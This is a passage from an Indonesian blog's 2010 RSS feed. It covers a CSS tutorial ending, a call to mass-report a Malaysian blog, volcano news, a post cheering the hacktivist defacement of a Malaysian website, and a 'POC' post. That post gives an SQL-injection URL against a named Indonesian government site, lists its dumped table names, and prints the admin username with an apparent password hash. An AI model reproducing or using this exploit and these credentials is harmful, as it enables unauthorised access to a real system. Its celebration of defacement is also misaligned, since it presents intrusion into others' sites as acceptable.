width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;img src=&amp;quot;&lt;span style="color: #8b0000"&gt;riri khairiyah.jpg&lt;/span&gt;&amp;quot; width=&amp;quot;&lt;span style="color: #8b0000"&gt;640&lt;/span&gt;&amp;quot; height=&amp;quot;&lt;span style="color: #8b0000"&gt;425&lt;/span&gt;&amp;quot;?&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     alt=&amp;quot;&lt;span style="color: #8b0000"&gt;&lt;/span&gt;&amp;quot; /&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;ul&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;li &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;riri&lt;/span&gt;&amp;quot;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;a href=&amp;quot;&lt;span style="color: #8b0000"&gt;#&lt;/span&gt;&amp;quot; title=&amp;quot;&lt;span style="color: #8b0000"&gt;Riri Khairiyah&lt;/span&gt;&amp;quot;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;Riri Khairiyah&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;  &amp;lt;div align=&amp;quot;&lt;span style="color: #8b0000"&gt;left&lt;/span&gt;&amp;quot;&amp;gt;*) &amp;lt;blockquote&amp;gt;Arahkan kursor pada area wajah. &amp;lt;img src=&amp;quot;&lt;span style="color: #8b0000"&gt;icon_smile.gif&lt;/span&gt;&amp;quot; width=&amp;quot;&lt;span style="color: #8b0000"&gt;15&lt;/span&gt;&amp;quot; height=&amp;quot;&lt;span style="color: #8b0000"&gt;15&lt;/span&gt;&amp;quot;&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;  &amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;sekarang program kita telah selesai, anda dapat menjalankan program ini dengan menggunakan local server seperti XAMPP atau di upload langsung ke tempat hostingan.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;Contoh dari program diatas dapat anda lihat di &lt;b&gt;&lt;span style="font-size: small"&gt;&lt;a href="http://kui.my-php.net/sesuatu/riri.htm"&gt;http://kui.my-php.net/sesuatu/riri.htm&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-7346045362271526333?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/a_oAAWM_G3Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/a_oAAWM_G3Y/tagging-image-menggunakan-css.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://2.bp.blogspot.com/_xxdfU1yNW68/TH8q-esnRGI/AAAAAAAAAcA/n6wZS9tZAzw/s72-c/cool-html-codes.jpg" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/09/tagging-image-menggunakan-css.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-5029042112972713460</guid><pubDate>Mon, 30 Aug 2010 04:55:00 +0000</pubDate><atom:updated>2010-08-29T22:02:42.270-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">gayang malaysia</category><category domain="http://www.blogger.com/atom/ns#">sengketa indonesia malaysia</category><title>Boikot indon bodoh dot blogspot dot com</title><description>&lt;u style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;Boikot indon bodoh dot blogspot dot com&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/THszfqEAQqI/AAAAAAAAAbY/oZ65Drzywbo/s1600/indonesia-vs-malaysia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_xxdfU1yNW68/THszfqEAQqI/AAAAAAAAAbY/oZ65Drzywbo/s320/indonesia-vs-malaysia.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;kontroversi pertikayaian antara Indonesia dengan Malaysia seperti tidak ada habisnya, ada saja pertikaian antara kedua negara serumpun ini, seperti yang telah kita dengar bersama, beberapa tahun belakangan, mulai dari kasus blok ambalat, klaim kepemilikan budaya, seperti seni, tarian, masakan, dll. Berita yang sedang hangat-hangatnya sekarang mengenai&lt;/span&gt; &lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Enam nelayan Indonesia masih ditahan Malaysia.&lt;/span&gt; &lt;/div&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Pada artikel ini, saya akan membahas mengenai penghinaan yang secara terang-terangan dilakukan blogger Malaysia terhadap Indonesia.&lt;/span&gt; &lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;adalah http://www.indonbodoh.blogspot.com/ sebuah blogger asal malaysia yang&lt;/span&gt; &lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;secara terang-terangan menyebut Indonesia dengan sebutan indon, nama yang aneh memang, tapi taukah anda arti kata indon ?. sebelum kita lanjut pada inti artikel kali ini, bacalah terlebih dahulu arti dari&amp;nbsp; "indon" yang saya kutip dari Wakil Ketua Badan Kerjasama Antarparlemen (BKSAP) DPR RI, Sidharto.&lt;/span&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;
“Tahu apa arti Indon bagi kalangan Malaysia?,” “Ini benar-benar menyakitkan, karena merendahkan martabat kita yang 
disebutnya sebagai bangsa serumpun. Karena Indon itu sama artinya dengan
 jongos atau budak (belian),” &lt;/div&gt;
&lt;/blockquote&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;
kembali pada topik pembicaraan kita, buka situs ini http://www.indonbodoh.blogspot.com/ nah coba-lah anda baca-baca, cacian dan makian dan hinaan dari blogger malaysia tersebut. nah sekarang kita akan memblokir/menghapus blog tersebut dengan cara melaporkannya pada pihak google/blogger.&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/THs31bZFcvI/AAAAAAAAAbo/GWmYAHi5cvQ/s1600/malingsit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_xxdfU1yNW68/THs31bZFcvI/AAAAAAAAAbo/GWmYAHi5cvQ/s400/malingsit.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ol style="font-family: Arial,Helvetica,sans-serif;"&gt;
&lt;li&gt;Masuk ke blog http://www.indonbodoh.blogspot.com/&lt;/li&gt;
&lt;li&gt;kemudian di sebelah atas klik "Laporkan Penyalahgunaan"&lt;/li&gt;
&lt;li&gt;Pilih "Hate or Violence"&lt;/li&gt;
&lt;li&gt;Klik "Continue"&lt;/li&gt;
&lt;li&gt;Klik "Submit"&lt;/li&gt;
&lt;/ol&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;saran saya,&amp;nbsp; lakukan hal ini sebanyak mungkin, agar dapat di tanggapi dengan serius oleh pihak google/blogger&lt;/span&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-5029042112972713460?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/HTwpLkh-cmI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/HTwpLkh-cmI/boikot-indonbodoh-dot-blogspot-dot-com.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://4.bp.blogspot.com/_xxdfU1yNW68/THszfqEAQqI/AAAAAAAAAbY/oZ65Drzywbo/s72-c/indonesia-vs-malaysia.jpg" height="72" width="72" /><thr:total>108</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/boikot-indonbodoh-dot-blogspot-dot-com.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-5569211903842194885</guid><pubDate>Sun, 29 Aug 2010 09:44:00 +0000</pubDate><atom:updated>2010-08-29T02:47:36.673-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">letusan gunung merapi</category><category domain="http://www.blogger.com/atom/ns#">gunung sinabung meletus</category><category domain="http://www.blogger.com/atom/ns#">gunugn sinabung</category><title>gunung sinabung meletus</title><description>&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;u&gt;&lt;b&gt;gunung sinabung meletus&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/_xxdfU1yNW68/THosCUzDlwI/AAAAAAAAAbQ/yoP5IcK7BSo/s1600/8f55db38d8b84a6d975cabba9e19d78e.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="408" src="http://1.bp.blogspot.com/_xxdfU1yNW68/THosCUzDlwI/AAAAAAAAAbQ/yoP5IcK7BSo/s640/8f55db38d8b84a6d975cabba9e19d78e.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Status Gunung Sinabung 'Awas&lt;br /&gt;
Minggu, 29 Agustus 2010 02:47 WIB&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Metrotvnews.com, Karo: Gunung Sinabung yang terletak di Kecamatan Naman,
 Kabupaten Tanah Karo, Sumatera Utara yang meletus Ahad (29/8) sekitar 
pukul 00.08 Waktu Indonesia Barat, statusnya dinaikkan, kata kepala 
Pusat Vulkanologi dan Mitigasi Bencana Geologi.&lt;br /&gt;&lt;br /&gt;
"Sebelumnya, tidak ada aktivitas yang berarti dari Gunung Sinabung 
sehingga gunung tersebut tidak mendapat prioritas pemantauan sejak tahun
 1600-an," ujar kepala Pusat Vulkanologi dan Mitigasi Bencana Geologi, 
Surono, Ahad (29/8) dini hari.&lt;/span&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;
Menyikapi semburan api yang bisa terlihat hingga belasan kilometer 
jauhnya itu, pihaknya juga menyatakan status gunung tersebut menjadi 
"awas", dan memerintahkan seluruh warga yang bermukim di kaki gunung itu
 untuk melakukan evakuasi hingga enam kilometer jauhnya sejak pukul 
00.08 WIB.&lt;/span&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;
Mengatasi letusan di gunung api tersebut pihaknya juga sudah menurunkan 
tim peneliti ke lokasi sejak awal aktivitas gunung tersebut yang 
mengeluarkan asap putih.&lt;/span&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;
"Dengan adanya aktivitas yang mendadak ini, status gunung api Sinabung 
dinaikkan dari B, yang tidak pernah dimonitor menjadi A, untuk 
dimonitor," ujarnya.&lt;/span&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;
Sejumlah warga desa dari Kecamatan Simpang Empat dan Kecamatan Naman, 
Kabupaten Tanah Karo, sejak Jumat (27/8) telah dikejutkan oleh kabut 
asap bercampur partikel belerang berwarna putih yang menyembur dari 
puncak Gunung Sinabung.&lt;/span&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;
Kabut asap bercampur belerang itu menimbulkan bau menusuk hidung dan 
mengganggu jarak pandang di sebagaian wilayah Karo&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Foto-Foto&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/THoqwynSZUI/AAAAAAAAAag/lzTPE2_ZII4/s1600/45089_1487050949186_1621291428_1154860_7491187_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="424" src="http://2.bp.blogspot.com/_xxdfU1yNW68/THoqwynSZUI/AAAAAAAAAag/lzTPE2_ZII4/s640/45089_1487050949186_1621291428_1154860_7491187_n.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/THorsakB7rI/AAAAAAAAAbI/cY3P5FbwNgc/s1600/kumpul.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="448" src="http://3.bp.blogspot.com/_xxdfU1yNW68/THorsakB7rI/AAAAAAAAAbI/cY3P5FbwNgc/s640/kumpul.jpg" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Mengumpulkan Sumbangan&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/_xxdfU1yNW68/THoq1o2mVuI/AAAAAAAAAao/C_GnLAshO1M/s1600/0800217620X310.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://1.bp.blogspot.com/_xxdfU1yNW68/THoq1o2mVuI/AAAAAAAAAao/C_GnLAshO1M/s640/0800217620X310.jpg" width="640" /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/THoq5pPZ6cI/AAAAAAAAAaw/NwjbNWdjyDc/s1600/saya.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://4.bp.blogspot.com/_xxdfU1yNW68/THoq5pPZ6cI/AAAAAAAAAaw/NwjbNWdjyDc/s640/saya.jpg" width="640" /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/THorgQn67YI/AAAAAAAAAa4/eCd0CEymd_o/s1600/ngeri.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="426" src="http://4.bp.blogspot.com/_xxdfU1yNW68/THorgQn67YI/AAAAAAAAAa4/eCd0CEymd_o/s640/ngeri.jpg" width="640" /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/THorlOVX2kI/AAAAAAAAAbA/ziqgfH9mYTE/s1600/ngungsibersabar.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="426" src="http://4.bp.blogspot.com/_xxdfU1yNW68/THorlOVX2kI/AAAAAAAAAbA/ziqgfH9mYTE/s640/ngungsibersabar.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-5569211903842194885?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/jO1Z4UUL17Q" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/jO1Z4UUL17Q/gunung-sinabung-meletus.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://1.bp.blogspot.com/_xxdfU1yNW68/THosCUzDlwI/AAAAAAAAAbQ/yoP5IcK7BSo/s72-c/8f55db38d8b84a6d975cabba9e19d78e.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/gunung-sinabung-meletus.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-141965249100396204</guid><pubDate>Sun, 29 Aug 2010 08:52:00 +0000</pubDate><atom:updated>2010-08-29T02:47:48.353-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>Cyber Indonesia Kembali Beraksi</title><description>&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;u&gt;&lt;b&gt;Cyber Indonesia Kembali Beraksi&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/THofrbJk_TI/AAAAAAAAAaY/TczG_dLjWXw/s1600/cyber-criminal.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://2.bp.blogspot.com/_xxdfU1yNW68/THofrbJk_TI/AAAAAAAAAaY/TczG_dLjWXw/s320/cyber-criminal.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;
&lt;span style="font-size: small;"&gt;Perang cyber antara indonesia seperti tidak ada habis cerita, demi membela negaraa, masing-masing Team Cyber dari negara masing-masing menyerang/mendeface halaman website target.&lt;/span&gt;&lt;/div&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;
&lt;span style="font-size: small;"&gt;Situs Malaysia Institute of Estate Agents yang beralamat http://www.miea.com.my di hack oleh salah seorang cyber indonesia yang meninggalkan pesan pada situs tersebut http://www.miea.com.my/miea_news/NKRI_Harga_Mati.&lt;/span&gt;&lt;/div&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;
&lt;span style="font-size: small;"&gt;Sepertinya aksi ini dipicu oleh kekesalan para &lt;i&gt;cyber indonesia &lt;/i&gt;yang 
menilai Malaysia terus berulah merongrong kedaulatan negara Indonesia. 
Hal ini tampak pada pesan yang ditampilkan di situs tersebut:&lt;/span&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;h1 style="font-family: Arial,Helvetica,sans-serif; font-weight: normal;"&gt;

&lt;span style="font-size: small;"&gt;ayo pemuda indonesia,, bangkitkan gelora merah darah 
semangatmu,,,,,,,&amp;nbsp; stop dreaming start action,, jangan biarkan negara 
ini terhinjak terhempas,,,, bela-lah negara ini,, !!!!!!!!!!!!!!&lt;/span&gt;&lt;/h1&gt;
&lt;/blockquote&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Berikut tampilan dari website yang telah di acak-acak team cyber indonesia :&lt;/span&gt; &lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/THofhkSrK0I/AAAAAAAAAaQ/CmqTAGlVisM/s1600/ganyang_malingsialan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://2.bp.blogspot.com/_xxdfU1yNW68/THofhkSrK0I/AAAAAAAAAaQ/CmqTAGlVisM/s640/ganyang_malingsialan.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-141965249100396204?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/lL53wYwdhXQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/lL53wYwdhXQ/cyber-indonesia-kembali-beraksi.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://2.bp.blogspot.com/_xxdfU1yNW68/THofrbJk_TI/AAAAAAAAAaY/TczG_dLjWXw/s72-c/cyber-criminal.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/cyber-indonesia-kembali-beraksi.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-1935582596296625338</guid><pubDate>Sat, 28 Aug 2010 03:28:00 +0000</pubDate><atom:updated>2010-08-27T20:51:02.772-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">POC</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>POC Website Bakorkamla</title><description>&lt;h2 class="posttitle icon" style="font-family: Arial,Helvetica,sans-serif; font-weight: normal;"&gt;

&lt;u&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;POC Website Bakorkamla&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/h2&gt;
&lt;h2 class="posttitle icon" style="font-family: Arial,Helvetica,sans-serif; font-weight: normal;"&gt;

&lt;span style="font-size: small;"&gt;bakorkamla adalah website milik Badan Koordinsasi Keamanan Laut  Indonesia, nah disini saya akan mencoba berbagi POC (Proof of Concept)  dari website tersebut, &lt;br /&gt;
ingat &lt;/span&gt;&lt;span style="font-size: small;"&gt;:&lt;/span&gt;&lt;/h2&gt;
&lt;div class="bbcode_container"&gt;
&lt;div class="bbcode_quote"&gt;
&lt;blockquote&gt;
&lt;div class="quote_container"&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Hacker adalah teknik mencari celah kelemahan suatu system, bukan sebagai perusak.       &lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt; ok kita lanjutkan&lt;/span&gt;&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_xxdfU1yNW68/THiHOezxkWI/AAAAAAAAAaA/mbFX1xjPAgw/s1600/bakorkomala.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="360" src="http://1.bp.blogspot.com/_xxdfU1yNW68/THiHOezxkWI/AAAAAAAAAaA/mbFX1xjPAgw/s640/bakorkomala.jpg" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;screnshot&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table border="0" style="width: 450px;"&gt;&lt;tbody&gt;
&lt;tr&gt;     &lt;td bgcolor="#006699" width="87"&gt;Target&lt;/td&gt;     &lt;td bgcolor="#55a0ff" width="720"&gt;:&lt;a href="http://www.bakorkamla.go.id/" target="_blank"&gt;http://www.bakorkamla.go.id&lt;/a&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr&gt;     &lt;td bgcolor="#006699"&gt;Exploit&lt;/td&gt;     &lt;td bgcolor="#55a0ff"&gt;:&lt;a href="http://www.bakorkamla.go.id/news.php?id=-264" target="_blank"&gt;http://www.bakorkamla.go.id/news.php?id=-264&lt;/a&gt;' &lt;/td&gt;   &lt;/tr&gt;
&lt;tr&gt;     &lt;td bgcolor="#006699"&gt;Table Name&lt;/td&gt;     &lt;td bgcolor="#55a0ff"&gt;:admin,agenda,agenda2,alitalk_ads,alitalk_column,alitalk_info,alitalk_log,alitalk_rooms,alitalk_sendz,&lt;br /&gt;
litalk_setting,alitalk_users,banner,berita,berita_  foto,chat_ads,chat_column,chat_info,chat_log,chat_  rooms,chat_sendz,chat_setting,chat_users,download,forum,forum_eng,informasi,kritik_saran,lelang,&lt;br /&gt;
link_situs,news,stati  c,user&lt;/td&gt;   &lt;/tr&gt;
&lt;tr&gt;     &lt;td bgcolor="#006699" height="41"&gt;Table Admin &lt;/td&gt;     &lt;td bgcolor="#55a0ff"&gt;user&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : admin&lt;br /&gt;
password :c171c576c164fe1d6b0f2cdf66b1d541&lt;/td&gt;   &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-1935582596296625338?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/eCr3oVvt-Zo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/eCr3oVvt-Zo/poc-website-bakorkamla.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://1.bp.blogspot.com/_xxdfU1yNW68/THiHOezxkWI/AAAAAAAAAaA/mbFX1xjPAgw/s72-c/bakorkomala.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/poc-website-bakorkamla.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-4303382291111000432</guid><pubDate>Sat, 21 Aug 2010 05:08:00 +0000</pubDate><atom:updated>2010-08-20T22:08:53.377-07:00</atom:updated><category 